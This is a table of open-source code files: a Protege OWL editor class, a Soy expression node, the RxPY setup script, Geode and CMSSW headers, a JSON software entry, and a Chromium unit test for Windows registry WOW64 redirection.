max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
---|---|---|
746 | package org.protege.editor.owl.ui.editor;
import org.protege.editor.core.ui.util.InputVerificationStatusChangedListener;
import org.protege.editor.core.ui.util.VerifiedInputEditor;
import org.protege.editor.owl.OWLEditorKit;
import org.protege.editor.owl.ui.clsdescriptioneditor.ExpressionEditor;
import org.protege.editor.owl.ui.clsdescriptioneditor.OWLExpressionChecker;
import org.protege.editor.owl.ui.selector.OWLClassSelectorPanel;
import org.semanticweb.owlapi.model.OWLClass;
import org.semanticweb.owlapi.model.OWLClassExpression;
import org.semanticweb.owlapi.model.OWLException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
import javax.swing.*;
import javax.swing.event.ChangeEvent;
import javax.swing.event.ChangeListener;
import java.awt.*;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashSet;
import java.util.Set;
/**
* Author: <NAME><br>
* The University Of Manchester<br>
* Bio-Health Informatics Group<br>
* Date: 26-Feb-2007<br><br>
*/
public class OWLClassExpressionSetEditor extends AbstractOWLObjectEditor<Set<OWLClassExpression>> implements VerifiedInputEditor {
private final Logger logger = LoggerFactory.getLogger(OWLClassExpressionSetEditor.class);
private OWLEditorKit owlEditorKit;
private OWLClassSelectorPanel classSelectorPanel;
private JComponent editorComponent;
private ExpressionEditor<Set<OWLClassExpression>> expressionEditor;
private JTabbedPane tabbedPane;
private java.util.List<OWLClassExpression> initialSelection;
private java.util.List<InputVerificationStatusChangedListener> listeners = new ArrayList<>();
private ChangeListener changeListener = event -> {
for (InputVerificationStatusChangedListener l : listeners){
l.verifiedStatusChanged(isValid());
}
};
public OWLClassExpressionSetEditor(OWLEditorKit owlEditorKit) {
this.owlEditorKit = owlEditorKit;
}
public OWLClassExpressionSetEditor(OWLEditorKit owlEditorKit, java.util.List<OWLClassExpression> selectedClasses) {
this.owlEditorKit = owlEditorKit;
this.initialSelection = selectedClasses;
}
private void createEditor() {
editorComponent = new JPanel(new BorderLayout());
final OWLExpressionChecker<Set<OWLClassExpression>> checker = owlEditorKit.getModelManager().getOWLExpressionCheckerFactory().getOWLClassExpressionSetChecker();
expressionEditor = new ExpressionEditor<>(owlEditorKit, checker);
JPanel holderPanel = new JPanel(new BorderLayout());
holderPanel.add(expressionEditor);
holderPanel.setPreferredSize(new Dimension(500, 400));
holderPanel.setBorder(BorderFactory.createEmptyBorder(12, 12, 12, 12));
if (initialSelection == null){
classSelectorPanel = new OWLClassSelectorPanel(owlEditorKit);
}
else{
Set<OWLClass> clses = getNamedClassesFromInitialSelection();
if (clses.size() == initialSelection.size()){ // only show and initialise the tree if all are named
classSelectorPanel = new OWLClassSelectorPanel(owlEditorKit);
classSelectorPanel.setSelection(clses);
}
expressionEditor.setText(generateListText());
}
if (classSelectorPanel != null){
classSelectorPanel.addSelectionListener(changeListener);
tabbedPane = new JTabbedPane();
tabbedPane.add("Class hierarchy", classSelectorPanel);
tabbedPane.add("Expression editor", holderPanel);
tabbedPane.addChangeListener(changeListener);
editorComponent.add(tabbedPane, BorderLayout.CENTER);
}
else{
editorComponent.add(holderPanel, BorderLayout.CENTER);
}
}
private String generateListText() {
StringBuilder sb = new StringBuilder();
for (OWLClassExpression c : initialSelection){
if (sb.length() > 0){
sb.append(", ");
}
sb.append(owlEditorKit.getModelManager().getRendering(c));
}
return sb.toString();
}
private Set<OWLClass> getNamedClassesFromInitialSelection() {
Set<OWLClass> clses = new HashSet<>();
if (initialSelection != null){
for (OWLClassExpression descr : initialSelection){
if (!descr.isAnonymous()){
clses.add(descr.asOWLClass());
}
}
}
return clses;
}
@Nonnull
public String getEditorTypeName() {
return "Set of OWL Class Expressions";
}
public boolean canEdit(Object object) {
return checkSet(object, OWLClassExpression.class);
}
@Nonnull
public JComponent getEditorComponent() {
ensureEditorExists();
// classSelectorPanel.setSelection(owlEditorKit.getWorkspace().getOWLSelectionModel().getLastSelectedClass());
return editorComponent;
}
private void ensureEditorExists() {
if (editorComponent == null) {
createEditor();
}
}
@Nullable
public Set<OWLClassExpression> getEditedObject() {
ensureEditorExists();
if (tabbedPane != null && tabbedPane.getSelectedComponent().equals(classSelectorPanel)) {
return new HashSet<>(classSelectorPanel.getSelectedObjects());
}
else {
try {
return expressionEditor.createObject();
}
catch (OWLException e) {
logger.error("An error occurred when trying to create the OWL object corresponding to the " +
"entered expression.", e);
}
}
return null;
}
public boolean setEditedObject(Set<OWLClassExpression> expressions) {
if (expressions == null){
expressions = Collections.emptySet();
}
ensureEditorExists();
expressionEditor.setExpressionObject(expressions);
if (containsOnlyNamedClasses(expressions)){
Set<OWLClass> clses = new HashSet<>(expressions.size());
for (OWLClassExpression expr : expressions){
clses.add(expr.asOWLClass());
}
classSelectorPanel.setSelection(clses);
}
// @@TODO should remove the class selector if any of the expressions are anonymous
return true;
}
private boolean containsOnlyNamedClasses(Set<OWLClassExpression> expressions) {
if (expressions != null){
for (OWLClassExpression expr : expressions){
if (expr.isAnonymous()){
return false;
}
}
}
return true;
}
public void dispose() {
if (classSelectorPanel != null){
classSelectorPanel.dispose();
}
}
private boolean isValid(){
if (tabbedPane != null && tabbedPane.getSelectedComponent().equals(classSelectorPanel)) {
return classSelectorPanel.getSelectedObject() != null;
}
else{
return expressionEditor.isWellFormed();
}
}
public void addStatusChangedListener(InputVerificationStatusChangedListener listener) {
listeners.add(listener);
expressionEditor.addStatusChangedListener(listener);
listener.verifiedStatusChanged(isValid());
}
public void removeStatusChangedListener(InputVerificationStatusChangedListener listener) {
listeners.remove(listener);
expressionEditor.removeStatusChangedListener(listener);
}
}
| 3,104 |
569 | /*
* Copyright 2011 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.template.soy.exprtree;
import com.google.common.collect.ImmutableList;
import com.google.template.soy.base.SourceLocation;
import com.google.template.soy.base.internal.Identifier;
import com.google.template.soy.basetree.CopyState;
/**
* A node representing a record literal (with keys and values as alternating children).
*
* <p>Important: Do not use outside of Soy code (treat as superpackage-private).
*/
public final class RecordLiteralNode extends AbstractParentExprNode {
private final Identifier recordIdentifier;
private final ImmutableList<Identifier> keys;
/**
* Constructs a new record literal node with the given keys. The values should be set as children
* of this node, in the same order as the keys.
*/
public RecordLiteralNode(
Identifier recordIdentifier, Iterable<Identifier> keys, SourceLocation sourceLocation) {
super(sourceLocation);
this.recordIdentifier = recordIdentifier;
this.keys = ImmutableList.copyOf(keys);
}
/**
* Copy constructor.
*
* @param orig The node to copy.
*/
private RecordLiteralNode(RecordLiteralNode orig, CopyState copyState) {
super(orig, copyState);
this.recordIdentifier = orig.recordIdentifier;
this.keys = orig.keys;
}
public Identifier getRecordIdentifier() {
return recordIdentifier;
}
public ImmutableList<Identifier> getKeys() {
return keys;
}
public Identifier getKey(int i) {
return keys.get(i);
}
@Override
public Kind getKind() {
return Kind.RECORD_LITERAL_NODE;
}
@Override
public String toSourceString() {
StringBuilder sourceSb = new StringBuilder();
sourceSb.append("record(");
for (int i = 0, n = numChildren(); i < n; i++) {
if (i != 0) {
sourceSb.append(", ");
}
sourceSb.append(getKey(i)).append(": ").append(getChild(i).toSourceString());
}
sourceSb.append(')');
return sourceSb.toString();
}
@Override
public RecordLiteralNode copy(CopyState copyState) {
return new RecordLiteralNode(this, copyState);
}
}
| 851 |
4,342 | <reponame>pormr/RxPY
#!/usr/bin/env python3
import sys
try:
from setuptools import setup
except ImportError:
from ez_setup import use_setuptools
use_setuptools()
from setuptools import setup
from configparser import ConfigParser
# General project metadata is stored in project.cfg
with open('project.cfg') as project_file:
config = ConfigParser()
config.read_file(project_file)
project_meta = dict(config.items('project'))
# Populate the long_description field from README.rst
with open('README.rst') as readme_file:
project_meta['long_description'] = readme_file.read()
needs_pytest = {'pytest', 'test', 'ptr'}.intersection(sys.argv)
setup(
**{key: project_meta[key] for key in (
'name',
'version',
'description',
'long_description',
'author',
'author_email',
'license',
'url',
'download_url'
)},
zip_safe=True,
python_requires='>=3.6.0',
# https://pypi.python.org/pypi?%3Aaction=list_classifiers
classifiers=[
'Development Status :: 5 - Production/Stable',
'Environment :: Other Environment',
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Operating System :: OS Independent',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: Implementation :: CPython',
'Topic :: Software Development :: Libraries :: Python Modules'
],
tests_require=['pytest>=4.6.1', 'pytest-asyncio>=0.10.0', 'coverage>=4.5.3'],
package_data={'rx': ['py.typed']},
packages=['rx', 'rx.internal', 'rx.core', 'rx.core.abc',
'rx.core.operators', 'rx.core.operators.connectable',
'rx.core.observable', 'rx.core.observer',
'rx.scheduler', 'rx.scheduler.eventloop', 'rx.scheduler.mainloop',
'rx.operators', 'rx.disposable', 'rx.subject',
'rx.testing'],
package_dir={'rx': 'rx'},
include_package_data=True
)
| 888 |
1,475 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional information regarding
* copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package org.apache.geode.internal;
/**
* A marker interface to identify internal objects that are stored in the Cache at the same place
* that user objects would typically be stored. For example, registering functions for internal use.
* When determining what to do, or how to display these objects, other classes may use this
* interface as a filter to eliminate internal objects.
*
* @since GemFire 7.0
*
*/
public interface InternalEntity {
}
| 289 |
852 | #ifndef FWCore_MessageService_test_PSetTestClient_A_h
#define FWCore_MessageService_test_PSetTestClient_A_h
#include "FWCore/Framework/interface/Frameworkfwd.h"
#include "FWCore/Framework/interface/global/EDAnalyzer.h"
#include "FWCore/ParameterSet/interface/ParameterSet.h"
#include <vector>
namespace edm {
class ParameterSet;
}
namespace edmtest {
class PSetTestClient_A : public edm::global::EDAnalyzer<> {
public:
explicit PSetTestClient_A(edm::ParameterSet const& p);
void analyze(edm::StreamID, edm::Event const& e, edm::EventSetup const& c) const final;
private:
edm::ParameterSet a;
edm::ParameterSet b;
int xa;
int xb;
};
} // namespace edmtest
#endif // FWCore_MessageService_test_PSetTestClient_A_h
| 285 |
310 | <reponame>dreeves/usesthis<filename>gear/software/i/inkscape.json
{
"name": "Inkscape",
"description": "An open-source vector graphics program.",
"url": "https://inkscape.org/en/"
} | 68 |
777 | <reponame>google-ar/chromium<filename>chrome_elf/nt_registry/nt_registry_unittest.cc
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome_elf/nt_registry/nt_registry.h"
#include <windows.h>
#include <rpc.h>
#include <stddef.h>
#include "base/test/test_reg_util_win.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace {
//------------------------------------------------------------------------------
// WOW64 redirection tests
//
// - Only HKCU will be tested on the auto (try) bots.
// HKLM will be kept separate (and manual) for local testing only.
//
// NOTE: Currently no real WOW64 context testing, as building x86 projects
// during x64 builds is not currently supported for performance reasons.
// https://cs.chromium.org/chromium/src/build/toolchain/win/BUILD.gn?sq%3Dpackage:chromium&l=314
//------------------------------------------------------------------------------
// Utility function for the WOW64 redirection test suites.
// Note: Testing redirection through ADVAPI32 here as well, to get notice if
// expected behaviour changes!
// If |redirected_path| == nullptr, no redirection is expected in any case.
void DoRedirectTest(nt::ROOT_KEY nt_root_key,
const wchar_t* path,
const wchar_t* redirected_path OPTIONAL) {
HANDLE handle = INVALID_HANDLE_VALUE;
HKEY key_handle = nullptr;
constexpr ACCESS_MASK kAccess = KEY_WRITE | DELETE;
const HKEY root_key =
(nt_root_key == nt::HKCU) ? HKEY_CURRENT_USER : HKEY_LOCAL_MACHINE;
// Make sure clean before starting.
nt::DeleteRegKey(nt_root_key, nt::NONE, path);
if (redirected_path)
nt::DeleteRegKey(nt_root_key, nt::NONE, redirected_path);
//----------------------------------------------------------------------------
// No redirection through ADVAPI32 on straight x86 or x64.
ASSERT_EQ(ERROR_SUCCESS,
RegCreateKeyExW(root_key, path, 0, nullptr, REG_OPTION_NON_VOLATILE,
kAccess, nullptr, &key_handle, nullptr));
ASSERT_EQ(ERROR_SUCCESS, RegCloseKey(key_handle));
ASSERT_TRUE(nt::OpenRegKey(nt_root_key, path, kAccess, &handle, nullptr));
ASSERT_TRUE(nt::DeleteRegKey(handle));
nt::CloseRegKey(handle);
#ifdef _WIN64
//----------------------------------------------------------------------------
// Try forcing WOW64 redirection on x64 through ADVAPI32.
ASSERT_EQ(ERROR_SUCCESS,
RegCreateKeyExW(root_key, path, 0, nullptr, REG_OPTION_NON_VOLATILE,
kAccess | KEY_WOW64_32KEY, nullptr, &key_handle,
nullptr));
ASSERT_EQ(ERROR_SUCCESS, RegCloseKey(key_handle));
// Check path:
if (nt::OpenRegKey(nt_root_key, path, kAccess, &handle, nullptr)) {
if (redirected_path)
ADD_FAILURE();
ASSERT_TRUE(nt::DeleteRegKey(handle));
nt::CloseRegKey(handle);
} else if (!redirected_path) {
// Should have succeeded.
ADD_FAILURE();
}
if (redirected_path) {
// Check redirected path:
if (nt::OpenRegKey(nt_root_key, redirected_path, kAccess, &handle,
nullptr)) {
if (!redirected_path)
ADD_FAILURE();
ASSERT_TRUE(nt::DeleteRegKey(handle));
nt::CloseRegKey(handle);
} else {
// Should have succeeded.
ADD_FAILURE();
}
}
//----------------------------------------------------------------------------
// Try forcing WOW64 redirection on x64 through NTDLL.
ASSERT_TRUE(
nt::CreateRegKey(nt_root_key, path, kAccess | KEY_WOW64_32KEY, nullptr));
// Check path:
if (nt::OpenRegKey(nt_root_key, path, kAccess, &handle, nullptr)) {
if (redirected_path)
ADD_FAILURE();
ASSERT_TRUE(nt::DeleteRegKey(handle));
nt::CloseRegKey(handle);
} else if (!redirected_path) {
// Should have succeeded.
ADD_FAILURE();
}
if (redirected_path) {
// Check redirected path:
if (nt::OpenRegKey(nt_root_key, redirected_path, kAccess, &handle,
nullptr)) {
if (!redirected_path)
ADD_FAILURE();
ASSERT_TRUE(nt::DeleteRegKey(handle));
nt::CloseRegKey(handle);
} else {
// Should have succeeded.
ADD_FAILURE();
}
}
#endif // _WIN64
}
// These test reg paths match |kClassesSubtree| in nt_registry.cc.
constexpr const wchar_t* kClassesRedirects[] = {
L"SOFTWARE\\Classes\\CLSID\\chrome_testing",
L"SOFTWARE\\Classes\\WOW6432Node\\CLSID\\chrome_testing",
L"SOFTWARE\\Classes\\DirectShow\\chrome_testing",
L"SOFTWARE\\Classes\\WOW6432Node\\DirectShow\\chrome_testing",
L"SOFTWARE\\Classes\\Interface\\chrome_testing",
L"SOFTWARE\\Classes\\WOW6432Node\\Interface\\chrome_testing",
L"SOFTWARE\\Classes\\Media Type\\chrome_testing",
L"SOFTWARE\\Classes\\WOW6432Node\\Media Type\\chrome_testing",
L"SOFTWARE\\Classes\\MediaFoundation\\chrome_testing",
L"SOFTWARE\\Classes\\WOW6432Node\\MediaFoundation\\chrome_testing"};
static_assert((_countof(kClassesRedirects) & 0x01) == 0,
"Must have an even number of kClassesRedirects.");
// This test does NOT use NtRegistryTest class. It requires Windows WOW64
// redirection to take place, which would not happen with a testing redirection
// layer.
TEST(NtRegistryTestRedirection, Wow64RedirectionHKCU) {
// Using two elements for each loop.
for (size_t index = 0; index < _countof(kClassesRedirects); index += 2) {
DoRedirectTest(nt::HKCU, kClassesRedirects[index],
kClassesRedirects[index + 1]);
}
}
// These test reg paths match |kHklmSoftwareSubtree| in nt_registry.cc.
constexpr const wchar_t* kHKLMNoRedirects[] = {
L"SOFTWARE\\Classes\\chrome_testing", L"SOFTWARE\\Clients\\chrome_testing",
L"SOFTWARE\\Microsoft\\COM3\\chrome_testing",
L"SOFTWARE\\Microsoft\\Cryptography\\Calais\\Current\\chrome_testing",
L"SOFTWARE\\Microsoft\\Cryptography\\Calais\\Readers\\chrome_testing",
L"SOFTWARE\\Microsoft\\Cryptography\\Services\\chrome_testing",
L"SOFTWARE\\Microsoft\\CTF\\SystemShared\\chrome_testing",
L"SOFTWARE\\Microsoft\\CTF\\TIP\\chrome_testing",
L"SOFTWARE\\Microsoft\\DFS\\chrome_testing",
L"SOFTWARE\\Microsoft\\Driver Signing\\chrome_testing",
L"SOFTWARE\\Microsoft\\EnterpriseCertificates\\chrome_testing",
L"SOFTWARE\\Microsoft\\EventSystem\\chrome_testing",
L"SOFTWARE\\Microsoft\\MSMQ\\chrome_testing",
L"SOFTWARE\\Microsoft\\Non-Driver Signing\\chrome_testing",
L"SOFTWARE\\Microsoft\\Notepad\\DefaultFonts\\chrome_testing",
L"SOFTWARE\\Microsoft\\OLE\\chrome_testing",
L"SOFTWARE\\Microsoft\\RAS\\chrome_testing",
L"SOFTWARE\\Microsoft\\RPC\\chrome_testing",
L"SOFTWARE\\Microsoft\\SOFTWARE\\Microsoft\\Shared "
L"Tools\\MSInfo\\chrome_testing",
L"SOFTWARE\\Microsoft\\SystemCertificates\\chrome_testing",
L"SOFTWARE\\Microsoft\\TermServLicensing\\chrome_testing",
L"SOFTWARE\\Microsoft\\Transaction Server\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App "
L"Paths\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Control "
L"Panel\\Cursors\\Schemes\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\AutoplayHandlers"
L"\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\DriveIcons"
L"\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\KindMap"
L"\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group "
L"Policy\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PreviewHandlers"
L"\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Setup\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Telephony\\Locations"
L"\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows "
L"NT\\CurrentVersion\\Console\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows "
L"NT\\CurrentVersion\\FontDpi\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows "
L"NT\\CurrentVersion\\FontLink\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows "
L"NT\\CurrentVersion\\FontMapper\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Fonts\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows "
L"NT\\CurrentVersion\\FontSubstitutes\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows "
L"NT\\CurrentVersion\\Gre_initialize\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution "
L"Options\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows "
L"NT\\CurrentVersion\\LanguagePack\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards"
L"\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows "
L"NT\\CurrentVersion\\Perflib\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Ports\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
L"\\chrome_testing",
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time "
L"Zones\\chrome_testing",
L"SOFTWARE\\Policies\\chrome_testing",
L"SOFTWARE\\RegisteredApplications\\chrome_testing"};
// Run from administrator command prompt!
// Note: Disabled for automated testing (HKLM protection). Local testing
// only.
//
// This test does NOT use NtRegistryTest class. It requires Windows WOW64
// redirection to take place, which would not happen with a testing redirection
// layer.
TEST(NtRegistryTestRedirection, DISABLED_Wow64RedirectionHKLM) {
// 1) SOFTWARE is redirected.
DoRedirectTest(nt::HKLM, L"SOFTWARE\\chrome_testing",
L"SOFTWARE\\WOW6432Node\\chrome_testing");
// 2) Except some subkeys are not.
for (size_t index = 0; index < _countof(kHKLMNoRedirects); ++index) {
DoRedirectTest(nt::HKLM, kHKLMNoRedirects[index], nullptr);
}
// 3) But then some Classes subkeys are redirected.
// Using two elements for each loop.
for (size_t index = 0; index < _countof(kClassesRedirects); index += 2) {
DoRedirectTest(nt::HKLM, kClassesRedirects[index],
kClassesRedirects[index + 1]);
}
// 4) And just make sure other Classes subkeys are shared.
DoRedirectTest(nt::HKLM, L"SOFTWARE\\Classes\\chrome_testing", nullptr);
}
TEST(NtRegistryTestMisc, SanitizeSubkeyPaths) {
std::wstring new_path = L"";
EXPECT_TRUE(nt::SetTestingOverride(nt::HKCU, new_path));
std::wstring sani_path = nt::GetTestingOverride(nt::HKCU);
EXPECT_STREQ(L"", sani_path.c_str());
new_path = L"boo";
EXPECT_TRUE(nt::SetTestingOverride(nt::HKCU, new_path));
sani_path = nt::GetTestingOverride(nt::HKCU);
EXPECT_STREQ(L"boo", sani_path.c_str());
new_path = L"\\boo";
EXPECT_TRUE(nt::SetTestingOverride(nt::HKCU, new_path));
sani_path = nt::GetTestingOverride(nt::HKCU);
EXPECT_STREQ(L"boo", sani_path.c_str());
new_path = L"boo\\";
EXPECT_TRUE(nt::SetTestingOverride(nt::HKCU, new_path));
sani_path = nt::GetTestingOverride(nt::HKCU);
EXPECT_STREQ(L"boo", sani_path.c_str());
new_path = L"\\\\\\";
EXPECT_TRUE(nt::SetTestingOverride(nt::HKCU, new_path));
sani_path = nt::GetTestingOverride(nt::HKCU);
EXPECT_STREQ(L"", sani_path.c_str());
new_path = L"boo\\\\\\ya";
EXPECT_TRUE(nt::SetTestingOverride(nt::HKCU, new_path));
sani_path = nt::GetTestingOverride(nt::HKCU);
EXPECT_STREQ(L"boo\\ya", sani_path.c_str());
new_path = L"\\\\\\boo\\ya\\\\";
EXPECT_TRUE(nt::SetTestingOverride(nt::HKCU, new_path));
sani_path = nt::GetTestingOverride(nt::HKCU);
EXPECT_STREQ(L"boo\\ya", sani_path.c_str());
// Be sure to leave the environment clean.
new_path.clear();
EXPECT_TRUE(nt::SetTestingOverride(nt::HKCU, new_path));
sani_path = nt::GetTestingOverride(nt::HKCU);
EXPECT_STREQ(L"", sani_path.c_str());
}
//------------------------------------------------------------------------------
// NtRegistryTest class
//
// Only use this class for tests that need testing registry redirection.
//------------------------------------------------------------------------------
class NtRegistryTest : public testing::Test {
protected:
void SetUp() override {
base::string16 temp;
override_manager_.OverrideRegistry(HKEY_CURRENT_USER, &temp);
ASSERT_TRUE(nt::SetTestingOverride(nt::HKCU, temp));
override_manager_.OverrideRegistry(HKEY_LOCAL_MACHINE, &temp);
ASSERT_TRUE(nt::SetTestingOverride(nt::HKLM, temp));
}
void TearDown() override {
base::string16 temp;
ASSERT_TRUE(nt::SetTestingOverride(nt::HKCU, temp));
ASSERT_TRUE(nt::SetTestingOverride(nt::HKLM, temp));
}
private:
registry_util::RegistryOverrideManager override_manager_;
};
//------------------------------------------------------------------------------
// NT registry API tests
//------------------------------------------------------------------------------
TEST_F(NtRegistryTest, API_DWORD) {
HANDLE key_handle;
const wchar_t* dword_val_name = L"DwordTestValue";
DWORD dword_val = 1234;
// Create a subkey to play under.
ASSERT_TRUE(nt::CreateRegKey(nt::HKCU, L"NTRegistry\\dword", KEY_ALL_ACCESS,
&key_handle));
ASSERT_NE(key_handle, INVALID_HANDLE_VALUE);
ASSERT_NE(key_handle, nullptr);
DWORD get_dword = 0;
EXPECT_FALSE(nt::QueryRegValueDWORD(key_handle, dword_val_name, &get_dword));
// Set
EXPECT_TRUE(nt::SetRegValueDWORD(key_handle, dword_val_name, dword_val));
// Get
EXPECT_TRUE(nt::QueryRegValueDWORD(key_handle, dword_val_name, &get_dword));
EXPECT_TRUE(get_dword == dword_val);
// Clean up
EXPECT_TRUE(nt::DeleteRegKey(key_handle));
nt::CloseRegKey(key_handle);
}
TEST_F(NtRegistryTest, API_SZ) {
HANDLE key_handle;
const wchar_t* sz_val_name = L"SzTestValue";
std::wstring sz_val = L"blah de blah de blahhhhh.";
const wchar_t* sz_val_name2 = L"SzTestValueEmpty";
std::wstring sz_val2 = L"";
// Create a subkey to play under.
ASSERT_TRUE(nt::CreateRegKey(nt::HKCU, L"NTRegistry\\sz", KEY_ALL_ACCESS,
&key_handle));
ASSERT_NE(key_handle, INVALID_HANDLE_VALUE);
ASSERT_NE(key_handle, nullptr);
std::wstring get_sz;
EXPECT_FALSE(nt::QueryRegValueSZ(key_handle, sz_val_name, &get_sz));
// Set
EXPECT_TRUE(nt::SetRegValueSZ(key_handle, sz_val_name, sz_val));
EXPECT_TRUE(nt::SetRegValueSZ(key_handle, sz_val_name2, sz_val2));
// Get
EXPECT_TRUE(nt::QueryRegValueSZ(key_handle, sz_val_name, &get_sz));
EXPECT_TRUE(get_sz.compare(sz_val) == 0);
EXPECT_TRUE(nt::QueryRegValueSZ(key_handle, sz_val_name2, &get_sz));
EXPECT_TRUE(get_sz.compare(sz_val2) == 0);
// Clean up
EXPECT_TRUE(nt::DeleteRegKey(key_handle));
nt::CloseRegKey(key_handle);
}
TEST_F(NtRegistryTest, API_MULTISZ) {
HANDLE key_handle;
const wchar_t* multisz_val_name = L"SzmultiTestValue";
std::vector<std::wstring> multisz_val;
std::wstring multi1 = L"one";
std::wstring multi2 = L"two";
std::wstring multi3 = L"three";
const wchar_t* multisz_val_name2 = L"SzmultiTestValueBad";
std::wstring multi_empty = L"";
// Create a subkey to play under.
ASSERT_TRUE(nt::CreateRegKey(nt::HKCU, L"NTRegistry\\multisz", KEY_ALL_ACCESS,
&key_handle));
ASSERT_NE(key_handle, INVALID_HANDLE_VALUE);
ASSERT_NE(key_handle, nullptr);
multisz_val.push_back(multi1);
multisz_val.push_back(multi2);
multisz_val.push_back(multi3);
// Set
EXPECT_TRUE(
nt::SetRegValueMULTISZ(key_handle, multisz_val_name, multisz_val));
multisz_val.clear();
multisz_val.push_back(multi_empty);
// Set
EXPECT_TRUE(
nt::SetRegValueMULTISZ(key_handle, multisz_val_name2, multisz_val));
multisz_val.clear();
// Get
EXPECT_TRUE(
nt::QueryRegValueMULTISZ(key_handle, multisz_val_name, &multisz_val));
if (multisz_val.size() == 3) {
EXPECT_TRUE(multi1.compare(multisz_val.at(0)) == 0);
EXPECT_TRUE(multi2.compare(multisz_val.at(1)) == 0);
EXPECT_TRUE(multi3.compare(multisz_val.at(2)) == 0);
} else {
EXPECT_TRUE(false);
}
multisz_val.clear();
// Get
EXPECT_TRUE(
nt::QueryRegValueMULTISZ(key_handle, multisz_val_name2, &multisz_val));
if (multisz_val.size() == 1) {
EXPECT_TRUE(multi_empty.compare(multisz_val.at(0)) == 0);
} else {
EXPECT_TRUE(false);
}
multisz_val.clear();
// Clean up
EXPECT_TRUE(nt::DeleteRegKey(key_handle));
nt::CloseRegKey(key_handle);
}
TEST_F(NtRegistryTest, CreateRegKeyRecursion) {
HANDLE key_handle;
const wchar_t* sz_new_key_1 = L"test1\\new\\subkey";
const wchar_t* sz_new_key_2 = L"test2\\new\\subkey\\blah\\";
const wchar_t* sz_new_key_3 = L"\\test3\\new\\subkey\\\\blah2";
// Tests for CreateRegKey recursion.
ASSERT_TRUE(
nt::CreateRegKey(nt::HKCU, sz_new_key_1, KEY_ALL_ACCESS, nullptr));
EXPECT_TRUE(nt::OpenRegKey(nt::HKCU, sz_new_key_1, KEY_ALL_ACCESS,
&key_handle, nullptr));
EXPECT_TRUE(nt::DeleteRegKey(key_handle));
nt::CloseRegKey(key_handle);
ASSERT_TRUE(
nt::CreateRegKey(nt::HKCU, sz_new_key_2, KEY_ALL_ACCESS, nullptr));
EXPECT_TRUE(nt::OpenRegKey(nt::HKCU, sz_new_key_2, KEY_ALL_ACCESS,
&key_handle, nullptr));
EXPECT_TRUE(nt::DeleteRegKey(key_handle));
nt::CloseRegKey(key_handle);
ASSERT_TRUE(
nt::CreateRegKey(nt::HKCU, sz_new_key_3, KEY_ALL_ACCESS, nullptr));
EXPECT_TRUE(nt::OpenRegKey(nt::HKCU, L"test3\\new\\subkey\\blah2",
KEY_ALL_ACCESS, &key_handle, nullptr));
EXPECT_TRUE(nt::DeleteRegKey(key_handle));
nt::CloseRegKey(key_handle);
// Subkey path can be null.
ASSERT_TRUE(nt::CreateRegKey(nt::HKCU, nullptr, KEY_ALL_ACCESS, &key_handle));
ASSERT_NE(key_handle, INVALID_HANDLE_VALUE);
ASSERT_NE(key_handle, nullptr);
nt::CloseRegKey(key_handle);
}
} // namespace
| 7,104 |
488 | <reponame>ouankou/rose
/// Test the MPI Determinism analysis against a single test case.
///
/// Run this program like any other ROSE-based tool, passing it a
/// source file or files to work on, and relevant compiler frontend
/// options. Specifically, the mpi.h distrubuted alongside this must
/// proceed any other in the #include paths.
///
